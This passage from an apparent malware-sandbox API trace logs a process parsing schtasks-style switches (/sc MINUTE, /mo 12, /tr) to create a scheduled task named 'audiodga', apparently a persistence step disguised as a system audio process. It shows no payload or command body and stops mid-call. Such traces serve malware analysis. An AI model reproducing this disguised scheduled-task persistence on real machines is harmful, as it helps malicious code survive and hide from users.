(lpString="rp") returned 2 [0069.951] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.951] lstrlenW (lpString="tn") returned 2 [0069.951] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.951] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|rp|") returned 4 [0069.951] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.951] lstrlenW (lpString="|rp|") returned 4 [0069.951] lstrlenW (lpString="|tn|") returned 4 [0069.951] StrStrIW (lpFirst="|rp|", lpSrch="|tn|") returned 0x0 [0069.952] SetLastError (dwErrCode=0x490) [0069.952] lstrlenW (lpString="sc") returned 2 [0069.952] lstrlenW (lpString="sc") returned 2 [0069.952] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.952] lstrlenW (lpString="tn") returned 2 [0069.952] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.952] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.952] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.952] lstrlenW (lpString="|sc|") returned 4 [0069.952] lstrlenW (lpString="|tn|") returned 4 [0069.952] StrStrIW (lpFirst="|sc|", lpSrch="|tn|") returned 0x0 [0069.952] SetLastError (dwErrCode=0x490) [0069.952] lstrlenW (lpString="mo") returned 2 [0069.952] lstrlenW (lpString="mo") returned 2 [0069.952] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.952] lstrlenW (lpString="tn") returned 2 [0069.952] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.952] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.952] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.952] lstrlenW (lpString="|mo|") returned 4 [0069.952] lstrlenW (lpString="|tn|") returned 4 [0069.952] StrStrIW (lpFirst="|mo|", lpSrch="|tn|") returned 0x0 [0069.952] SetLastError (dwErrCode=0x490) [0069.952] lstrlenW (lpString="d") returned 1 [0069.952] lstrlenW (lpString="d") returned 1 [0069.952] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.952] lstrlenW (lpString="tn") returned 2 [0069.952] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.953] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|d|") returned 3 [0069.953] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.953] lstrlenW (lpString="|d|") returned 3 [0069.953] lstrlenW (lpString="|tn|") returned 4 [0069.953] SetLastError (dwErrCode=0x490) [0069.953] lstrlenW (lpString="m") returned 1 [0069.953] lstrlenW (lpString="m") returned 1 [0069.953] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.953] lstrlenW (lpString="tn") returned 2 [0069.953] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.953] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|m|") returned 3 [0069.953] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.953] lstrlenW (lpString="|m|") returned 3 [0069.953] lstrlenW (lpString="|tn|") returned 4 [0069.953] SetLastError (dwErrCode=0x490) [0069.953] lstrlenW (lpString="i") returned 1 [0069.953] lstrlenW (lpString="i") returned 1 [0069.953] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.953] lstrlenW (lpString="tn") returned 2 [0069.953] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.953] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|i|") returned 3 [0069.953] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.953] lstrlenW (lpString="|i|") returned 3 [0069.953] lstrlenW (lpString="|tn|") returned 4 [0069.953] SetLastError (dwErrCode=0x490) [0069.953] lstrlenW (lpString="tn") returned 2 [0069.953] lstrlenW (lpString="tn") returned 2 [0069.953] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.953] lstrlenW (lpString="tn") returned 2 [0069.954] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.954] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.954] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tn|") returned 4 [0069.954] lstrlenW (lpString="|tn|") returned 4 [0069.954] lstrlenW (lpString="|tn|") returned 4 [0069.954] StrStrIW (lpFirst="|tn|", lpSrch="|tn|") returned="|tn|" [0069.954] SetLastError (dwErrCode=0x0) [0069.954] SetLastError (dwErrCode=0x0) [0069.954] lstrlenW (lpString="audiodga") returned 8 [0069.954] lstrlenW (lpString="-/") returned 2 [0069.954] StrChrIW (lpStart="-/", wMatch=0x61) returned 0x0 [0069.954] SetLastError (dwErrCode=0x490) [0069.954] SetLastError (dwErrCode=0x490) [0069.954] SetLastError (dwErrCode=0x0) [0069.954] lstrlenW (lpString="audiodga") returned 8 [0069.954] StrChrIW (lpStart="audiodga", wMatch=0x3a) returned 0x0 [0069.954] SetLastError (dwErrCode=0x490) [0069.954] SetLastError (dwErrCode=0x0) [0069.954] lstrlenW (lpString="audiodga") returned 8 [0069.954] SetLastError (dwErrCode=0x0) [0069.954] SetLastError (dwErrCode=0x0) [0069.954] lstrlenW (lpString="/sc") returned 3 [0069.954] lstrlenW (lpString="-/") returned 2 [0069.954] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.954] lstrlenW (lpString="create") returned 6 [0069.954] lstrlenW (lpString="create") returned 6 [0069.954] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.954] lstrlenW (lpString="sc") returned 2 [0069.954] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.955] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|create|") returned 8 [0069.955] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.955] lstrlenW (lpString="|create|") returned 8 [0069.955] lstrlenW (lpString="|sc|") returned 4 [0069.955] StrStrIW (lpFirst="|create|", lpSrch="|sc|") returned 0x0 [0069.955] SetLastError (dwErrCode=0x490) [0069.955] lstrlenW (lpString="?") returned 1 [0069.955] lstrlenW (lpString="?") returned 1 [0069.955] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.955] lstrlenW (lpString="sc") returned 2 [0069.955] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.955] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|?|") returned 3 [0069.955] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.955] lstrlenW (lpString="|?|") returned 3 [0069.955] lstrlenW (lpString="|sc|") returned 4 [0069.955] SetLastError (dwErrCode=0x490) [0069.955] lstrlenW (lpString="s") returned 1 [0069.955] lstrlenW (lpString="s") returned 1 [0069.955] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.955] lstrlenW (lpString="sc") returned 2 [0069.955] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.955] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|s|") returned 3 [0069.955] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.955] lstrlenW (lpString="|s|") returned 3 [0069.955] lstrlenW (lpString="|sc|") returned 4 [0069.955] SetLastError (dwErrCode=0x490) [0069.955] lstrlenW (lpString="u") returned 1 [0069.955] lstrlenW (lpString="u") returned 1 [0069.955] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.955] lstrlenW (lpString="sc") returned 2 [0069.956] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.956] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|u|") returned 3 [0069.956] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.956] lstrlenW (lpString="|u|") returned 3 [0069.956] lstrlenW (lpString="|sc|") returned 4 [0069.956] SetLastError (dwErrCode=0x490) [0069.956] lstrlenW (lpString="p") returned 1 [0069.956] lstrlenW (lpString="p") returned 1 [0069.956] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.956] lstrlenW (lpString="sc") returned 2 [0069.956] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.956] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|p|") returned 3 [0069.956] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.956] lstrlenW (lpString="|p|") returned 3 [0069.956] lstrlenW (lpString="|sc|") returned 4 [0069.956] SetLastError (dwErrCode=0x490) [0069.956] lstrlenW (lpString="ru") returned 2 [0069.956] lstrlenW (lpString="ru") returned 2 [0069.956] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.956] lstrlenW (lpString="sc") returned 2 [0069.956] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.956] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|ru|") returned 4 [0069.956] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.956] lstrlenW (lpString="|ru|") returned 4 [0069.956] lstrlenW (lpString="|sc|") returned 4 [0069.956] StrStrIW (lpFirst="|ru|", lpSrch="|sc|") returned 0x0 [0069.956] SetLastError (dwErrCode=0x490) [0069.956] lstrlenW (lpString="rp") returned 2 [0069.956] lstrlenW (lpString="rp") returned 2 [0069.956] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.957] lstrlenW (lpString="sc") returned 2 [0069.957] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.957] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|rp|") returned 4 [0069.957] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.957] lstrlenW (lpString="|rp|") returned 4 [0069.957] lstrlenW (lpString="|sc|") returned 4 [0069.957] StrStrIW (lpFirst="|rp|", lpSrch="|sc|") returned 0x0 [0069.957] SetLastError (dwErrCode=0x490) [0069.957] lstrlenW (lpString="sc") returned 2 [0069.957] lstrlenW (lpString="sc") returned 2 [0069.957] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.957] lstrlenW (lpString="sc") returned 2 [0069.957] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.957] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.957] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.957] lstrlenW (lpString="|sc|") returned 4 [0069.957] lstrlenW (lpString="|sc|") returned 4 [0069.957] StrStrIW (lpFirst="|sc|", lpSrch="|sc|") returned="|sc|" [0069.957] SetLastError (dwErrCode=0x0) [0069.957] SetLastError (dwErrCode=0x0) [0069.957] lstrlenW (lpString="MINUTE") returned 6 [0069.957] lstrlenW (lpString="-/") returned 2 [0069.957] StrChrIW (lpStart="-/", wMatch=0x4d) returned 0x0 [0069.957] SetLastError (dwErrCode=0x490) [0069.957] SetLastError (dwErrCode=0x490) [0069.957] SetLastError (dwErrCode=0x0) [0069.957] lstrlenW (lpString="MINUTE") returned 6 [0069.957] StrChrIW (lpStart="MINUTE", wMatch=0x3a) returned 0x0 [0069.957] SetLastError (dwErrCode=0x490) [0069.957] SetLastError (dwErrCode=0x0) [0069.957] GetProcessHeap () returned 0x390000 [0069.957] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x18) returned 0x3ad660 [0069.958] _memicmp (_Buf1=0x3ad660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.958] lstrlenW (lpString="MINUTE") returned 6 [0069.958] GetProcessHeap () returned 0x390000 [0069.958] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0xe) returned 0x3ad680 [0069.958] lstrlenW (lpString="MINUTE") returned 6 [0069.958] lstrlenW (lpString=" \x09") returned 2 [0069.958] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0069.958] StrChrW (lpStart=" \x09", wMatch=0x4d) returned 0x0 [0069.958] StrChrW (lpStart=" \x09", wMatch=0x49) returned 0x0 [0069.958] StrChrW (lpStart=" \x09", wMatch=0x4e) returned 0x0 [0069.958] StrChrW (lpStart=" \x09", wMatch=0x55) returned 0x0 [0069.958] StrChrW (lpStart=" \x09", wMatch=0x54) returned 0x0 [0069.958] StrChrW (lpStart=" \x09", wMatch=0x45) returned 0x0 [0069.958] GetLastError () returned 0x0 [0069.958] lstrlenW (lpString="MINUTE") returned 6 [0069.958] lstrlenW (lpString="MINUTE") returned 6 [0069.958] SetLastError (dwErrCode=0x0) [0069.958] SetLastError (dwErrCode=0x0) [0069.958] lstrlenW (lpString="/mo") returned 3 [0069.958] lstrlenW (lpString="-/") returned 2 [0069.958] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.958] lstrlenW (lpString="create") returned 6 [0069.958] lstrlenW (lpString="create") returned 6 [0069.958] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.958] lstrlenW (lpString="mo") returned 2 [0069.959] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.959] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|create|") returned 8 [0069.959] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.959] lstrlenW (lpString="|create|") returned 8 [0069.959] lstrlenW (lpString="|mo|") returned 4 [0069.959] StrStrIW (lpFirst="|create|", lpSrch="|mo|") returned 0x0 [0069.959] SetLastError (dwErrCode=0x490) [0069.959] lstrlenW (lpString="?") returned 1 [0069.959] lstrlenW (lpString="?") returned 1 [0069.959] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.959] lstrlenW (lpString="mo") returned 2 [0069.959] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.959] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|?|") returned 3 [0069.959] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.959] lstrlenW (lpString="|?|") returned 3 [0069.959] lstrlenW (lpString="|mo|") returned 4 [0069.959] SetLastError (dwErrCode=0x490) [0069.959] lstrlenW (lpString="s") returned 1 [0069.959] lstrlenW (lpString="s") returned 1 [0069.959] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.959] lstrlenW (lpString="mo") returned 2 [0069.959] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.959] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|s|") returned 3 [0069.959] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.959] lstrlenW (lpString="|s|") returned 3 [0069.959] lstrlenW (lpString="|mo|") returned 4 [0069.959] SetLastError (dwErrCode=0x490) [0069.959] lstrlenW (lpString="u") returned 1 [0069.959] lstrlenW (lpString="u") returned 1 [0069.960] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.960] lstrlenW (lpString="mo") returned 2 [0069.960] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.960] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|u|") returned 3 [0069.960] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.960] lstrlenW (lpString="|u|") returned 3 [0069.960] lstrlenW (lpString="|mo|") returned 4 [0069.960] SetLastError (dwErrCode=0x490) [0069.960] lstrlenW (lpString="p") returned 1 [0069.960] lstrlenW (lpString="p") returned 1 [0069.960] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.960] lstrlenW (lpString="mo") returned 2 [0069.960] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.960] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|p|") returned 3 [0069.960] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.960] lstrlenW (lpString="|p|") returned 3 [0069.960] lstrlenW (lpString="|mo|") returned 4 [0069.960] SetLastError (dwErrCode=0x490) [0069.960] lstrlenW (lpString="ru") returned 2 [0069.960] lstrlenW (lpString="ru") returned 2 [0069.960] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.960] lstrlenW (lpString="mo") returned 2 [0069.960] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.960] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|ru|") returned 4 [0069.960] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.960] lstrlenW (lpString="|ru|") returned 4 [0069.960] lstrlenW (lpString="|mo|") returned 4 [0069.960] StrStrIW (lpFirst="|ru|", lpSrch="|mo|") returned 0x0 [0069.960] SetLastError (dwErrCode=0x490) [0069.961] lstrlenW (lpString="rp") returned 2 [0069.961] lstrlenW (lpString="rp") returned 2 [0069.961] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.961] lstrlenW (lpString="mo") returned 2 [0069.961] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.961] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|rp|") returned 4 [0069.961] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.961] lstrlenW (lpString="|rp|") returned 4 [0069.961] lstrlenW (lpString="|mo|") returned 4 [0069.961] StrStrIW (lpFirst="|rp|", lpSrch="|mo|") returned 0x0 [0069.961] SetLastError (dwErrCode=0x490) [0069.961] lstrlenW (lpString="sc") returned 2 [0069.961] lstrlenW (lpString="sc") returned 2 [0069.961] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.961] lstrlenW (lpString="mo") returned 2 [0069.961] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.961] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|sc|") returned 4 [0069.961] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.961] lstrlenW (lpString="|sc|") returned 4 [0069.961] lstrlenW (lpString="|mo|") returned 4 [0069.961] StrStrIW (lpFirst="|sc|", lpSrch="|mo|") returned 0x0 [0069.961] SetLastError (dwErrCode=0x490) [0069.961] lstrlenW (lpString="mo") returned 2 [0069.961] lstrlenW (lpString="mo") returned 2 [0069.961] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.961] lstrlenW (lpString="mo") returned 2 [0069.961] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.962] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.962] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|mo|") returned 4 [0069.962] lstrlenW (lpString="|mo|") returned 4 [0069.962] lstrlenW (lpString="|mo|") returned 4 [0069.962] StrStrIW (lpFirst="|mo|", lpSrch="|mo|") returned="|mo|" [0069.962] SetLastError (dwErrCode=0x0) [0069.962] SetLastError (dwErrCode=0x0) [0069.962] lstrlenW (lpString="12") returned 2 [0069.962] lstrlenW (lpString="-/") returned 2 [0069.962] StrChrIW (lpStart="-/", wMatch=0x31) returned 0x0 [0069.962] SetLastError (dwErrCode=0x490) [0069.962] SetLastError (dwErrCode=0x490) [0069.962] SetLastError (dwErrCode=0x0) [0069.962] lstrlenW (lpString="12") returned 2 [0069.962] StrChrIW (lpStart="12", wMatch=0x3a) returned 0x0 [0069.962] SetLastError (dwErrCode=0x490) [0069.962] SetLastError (dwErrCode=0x0) [0069.962] _memicmp (_Buf1=0x3ad660, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.962] lstrlenW (lpString="12") returned 2 [0069.962] lstrlenW (lpString="12") returned 2 [0069.962] lstrlenW (lpString=" \x09") returned 2 [0069.962] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0069.962] StrChrW (lpStart=" \x09", wMatch=0x31) returned 0x0 [0069.962] StrChrW (lpStart=" \x09", wMatch=0x32) returned 0x0 [0069.962] GetLastError () returned 0x0 [0069.962] lstrlenW (lpString="12") returned 2 [0069.962] lstrlenW (lpString="12") returned 2 [0069.962] GetProcessHeap () returned 0x390000 [0069.962] RtlAllocateHeap (HeapHandle=0x390000, Flags=0xc, Size=0x6) returned 0x3abab0 [0069.962] SetLastError (dwErrCode=0x0) [0069.962] SetLastError (dwErrCode=0x0) [0069.962] lstrlenW (lpString="/tr") returned 3 [0069.962] lstrlenW (lpString="-/") returned 2 [0069.962] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0069.963] lstrlenW (lpString="create") returned 6 [0069.963] lstrlenW (lpString="create") returned 6 [0069.963] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.963] lstrlenW (lpString="tr") returned 2 [0069.963] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.963] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|create|") returned 8 [0069.963] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.963] lstrlenW (lpString="|create|") returned 8 [0069.963] lstrlenW (lpString="|tr|") returned 4 [0069.963] StrStrIW (lpFirst="|create|", lpSrch="|tr|") returned 0x0 [0069.963] SetLastError (dwErrCode=0x490) [0069.963] lstrlenW (lpString="?") returned 1 [0069.963] lstrlenW (lpString="?") returned 1 [0069.963] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.963] lstrlenW (lpString="tr") returned 2 [0069.963] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.963] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|?|") returned 3 [0069.963] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.963] lstrlenW (lpString="|?|") returned 3 [0069.963] lstrlenW (lpString="|tr|") returned 4 [0069.963] SetLastError (dwErrCode=0x490) [0069.963] lstrlenW (lpString="s") returned 1 [0069.963] lstrlenW (lpString="s") returned 1 [0069.963] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.963] lstrlenW (lpString="tr") returned 2 [0069.963] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.963] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|s|") returned 3 [0069.963] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.963] lstrlenW (lpString="|s|") returned 3 [0069.964] lstrlenW (lpString="|tr|") returned 4 [0069.964] SetLastError (dwErrCode=0x490) [0069.964] lstrlenW (lpString="u") returned 1 [0069.964] lstrlenW (lpString="u") returned 1 [0069.964] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.964] lstrlenW (lpString="tr") returned 2 [0069.964] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.964] _vsnwprintf (in: _Buffer=0x3ac340, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|u|") returned 3 [0069.964] _vsnwprintf (in: _Buffer=0x3ac320, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1fc7c8 | out: _Buffer="|tr|") returned 4 [0069.964] lstrlenW (lpString="|u|") returned 3 [0069.964] lstrlenW (lpString="|tr|") returned 4 [0069.964] SetLastError (dwErrCode=0x490) [0069.964] lstrlenW (lpString="p") returned 1 [0069.964] lstrlenW (lpString="p") returned 1 [0069.964] _memicmp (_Buf1=0x3ac1c0, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.964] lstrlenW (lpString="tr") returned 2 [0069.964] _memicmp (_Buf1=0x3ac300, _Buf2=0xff3d1b08, _Size=0x7) returned 0 [0069.964] _vsnwprintf (in: 